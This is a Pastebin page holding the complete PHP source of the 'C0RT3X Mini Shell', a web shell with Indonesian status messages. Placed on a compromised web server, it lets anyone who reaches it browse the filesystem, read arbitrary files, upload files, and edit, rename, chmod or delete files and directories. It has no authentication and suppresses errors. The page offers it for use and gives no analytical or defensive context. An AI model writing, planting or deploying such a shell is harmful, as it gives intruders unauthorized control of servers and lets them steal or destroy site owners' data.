SHARE
TWEET

[Mini Shell]

Ryuu-Katsumi Nov 25th, 2018 380 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>C0RT3X Mini Shell</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: red;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: red;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <h1><center><font color="Lime">C0RT3X Mini Shell</font></center></h1>
  49. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  50. <tr><td><font color="white">Path :</font> ';
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53. }else{
  54. $path = getcwd();
  55. }
  56. $path = str_replace('\\','/',$path);
  57. $paths = explode('/',$path);
  58.  
  59. foreach($paths as $id=>$pat){
  60. if($pat == '' && $id == 0){
  61. $a = true;
  62. echo '<a href="?path=/">/</a>';
  63. continue;
  64. }
  65. if($pat == '') continue;
  66. echo '<a href="?path=';
  67. for($i=0;$i<=$id;$i++){
  68. echo "$paths[$i]";
  69. if($i != $id) echo "/";
  70. }
  71. echo '">'.$pat.'</a>/';
  72. }
  73. echo '</td></tr><tr><td>';
  74. if(isset($_FILES['file'])){
  75. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  76. echo '<font color="green">Upload Berhasil</font><br />';
  77. }else{
  78. echo '<font color="red">Upload Gagal</font><br/>';
  79. }
  80. }
  81. echo '<form enctype="multipart/form-data" method="POST">
  82. <font color="white">File Upload :</font> <input type="file" name="file" />
  83. <input type="submit" value="upload" />
  84. </form>
  85. </td></tr>';
  86. if(isset($_GET['filesrc'])){
  87. echo "<tr><td>Current File : ";
  88. echo $_GET['filesrc'];
  89. echo '</tr></td></table><br />';
  90. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  91. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  92. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  93. if($_POST['opt'] == 'chmod'){
  94. if(isset($_POST['perm'])){
  95. if(chmod($_POST['path'],$_POST['perm'])){
  96. echo '<font color="green">Change Permission Berhasil</font><br/>';
  97. }else{
  98. echo '<font color="red">Change Permission Gagal</font><br />';
  99. }
  100. }
  101. echo '<form method="POST">
  102. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  103. <input type="hidden" name="path" value="'.$_POST['path'].'">
  104. <input type="hidden" name="opt" value="chmod">
  105. <input type="submit" value="Go" />
  106. </form>';
  107. }elseif($_POST['opt'] == 'rename'){
  108. if(isset($_POST['newname'])){
  109. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  110. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  111. }else{
  112. echo '<font color="red">Ganti Nama Gagal</font><br />';
  113. }
  114. $_POST['name'] = $_POST['newname'];
  115. }
  116. echo '<form method="POST">
  117. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  118. <input type="hidden" name="path" value="'.$_POST['path'].'">
  119. <input type="hidden" name="opt" value="rename">
  120. <input type="submit" value="Go" />
  121. </form>';
  122. }elseif($_POST['opt'] == 'edit'){
  123. if(isset($_POST['src'])){
  124. $fp = fopen($_POST['path'],'w');
  125. if(fwrite($fp,$_POST['src'])){
  126. echo '<font color="green">Berhasil Edit File</font><br/>';
  127. }else{
  128. echo '<font color="red">Gagal Edit File</font><br/>';
  129. }
  130. fclose($fp);
  131. }
  132. echo '<form method="POST">
  133. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="edit">
  136. <input type="submit" value="Save" />
  137. </form>';
  138. }
  139. echo '</center>';
  140. }else{
  141. echo '</table><br/><center>';
  142. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  143. if($_POST['type'] == 'dir'){
  144. if(rmdir($_POST['path'])){
  145. echo '<font color="green">Directory Terhapus</font><br/>';
  146. }else{
  147. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  148. }
  149. }elseif($_POST['type'] == 'file'){
  150. if(unlink($_POST['path'])){
  151. echo '<font color="green">File Terhapus</font><br/>';
  152. }else{
  153. echo '<font color="red">File Gagal Dihapus</font><br/>';
  154. }
  155. }
  156. }
  157. echo '</center>';
  158. $scandir = scandir($path);
  159. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  160. <tr class="first">
  161. <td><center>Name</peller></center></td>
  162. <td><center>Size</peller></center></td>
  163. <td><center>Permission</peller></center></td>
  164. <td><center>Modify</peller></center></td>
  165. </tr>';
  166.  
  167. foreach($scandir as $dir){
  168. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  169. echo '<tr>
  170. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  171. <td><center>--</center></td>
  172. <td><center>';
  173. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  174. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  175. echo perms($path.'/'.$dir);
  176. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  177.  
  178. echo '</center></td>
  179. <td><center><form method="POST" action="?option&path='.$path.'">
  180. <select name="opt">
  181. <option value="">Select</option>
  182. <option value="delete">Delete</option>
  183. <option value="chmod">Chmod</option>
  184. <option value="rename">Rename</option>
  185. </select>
  186. <input type="hidden" name="type" value="dir">
  187. <input type="hidden" name="name" value="'.$dir.'">
  188. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  189. <input type="submit" value=">">
  190. </form></center></td>
  191. </tr>';
  192. }
  193. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  194. foreach($scandir as $file){
  195. if(!is_file($path.'/'.$file)) continue;
  196. $size = filesize($path.'/'.$file)/1024;
  197. $size = round($size,3);
  198. if($size >= 1024){
  199. $size = round($size/1024,2).' MB';
  200. }else{
  201. $size = $size.' KB';
  202. }
  203.  
  204. echo '<tr>
  205. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  206. <td><center>'.$size.'</center></td>
  207. <td><center>';
  208. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  209. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  210. echo perms($path.'/'.$file);
  211. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  212. echo '</center></td>
  213. <td><center><form method="POST" action="?option&path='.$path.'">
  214. <select name="opt">
  215. <option value="">Select</option>
  216. <option value="delete">Delete</option>
  217. <option value="chmod">Chmod</option>
  218. <option value="rename">Rename</option>
  219. <option value="edit">Edit</option>
  220. </select>
  221. <input type="hidden" name="type" value="file">
  222. <input type="hidden" name="name" value="'.$file.'">
  223. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  224. <input type="submit" value=">">
  225. </form></center></td>
  226. </tr>';
  227. }
  228. echo '</table>
  229. </div>';
  230. }
  231. echo '<center><br/>C0RT3X</center>
  232. </body>
  233. </html>';
  234. function perms($file){
  235. $perms = fileperms($file);
  236.  
  237. if (($perms & 0xC000) == 0xC000) {
  238. // Socket
  239. $info = 's';
  240. } elseif (($perms & 0xA000) == 0xA000) {
  241. // Symbolic Link
  242. $info = 'l';
  243. } elseif (($perms & 0x8000) == 0x8000) {
  244. // Regular
  245. $info = '-';
  246. } elseif (($perms & 0x6000) == 0x6000) {
  247. // Block special
  248. $info = 'b';
  249. } elseif (($perms & 0x4000) == 0x4000) {
  250. // Directory
  251. $info = 'd';
  252. } elseif (($perms & 0x2000) == 0x2000) {
  253. // Character special
  254. $info = 'c';
  255. } elseif (($perms & 0x1000) == 0x1000) {
  256. // FIFO pipe
  257. $info = 'p';
  258. } else {
  259. // Unknown
  260. $info = 'u';
  261. }
  262.  
  263. // Owner
  264. $info .= (($perms & 0x0100) ? 'r' : '-');
  265. $info .= (($perms & 0x0080) ? 'w' : '-');
  266. $info .= (($perms & 0x0040) ?
  267. (($perms & 0x0800) ? 's' : 'x' ) :
  268. (($perms & 0x0800) ? 'S' : '-'));
  269.  
  270. // Group
  271. $info .= (($perms & 0x0020) ? 'r' : '-');
  272. $info .= (($perms & 0x0010) ? 'w' : '-');
  273. $info .= (($perms & 0x0008) ?
  274. (($perms & 0x0400) ? 's' : 'x' ) :
  275. (($perms & 0x0400) ? 'S' : '-'));
  276.  
  277. // World
  278. $info .= (($perms & 0x0004) ? 'r' : '-');
  279. $info .= (($perms & 0x0002) ? 'w' : '-');
  280. $info .= (($perms & 0x0001) ?
  281. (($perms & 0x0200) ? 't' : 'x' ) :
  282. (($perms & 0x0200) ? 'T' : '-'));
  283.  
  284. return $info;
  285. }
  286. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top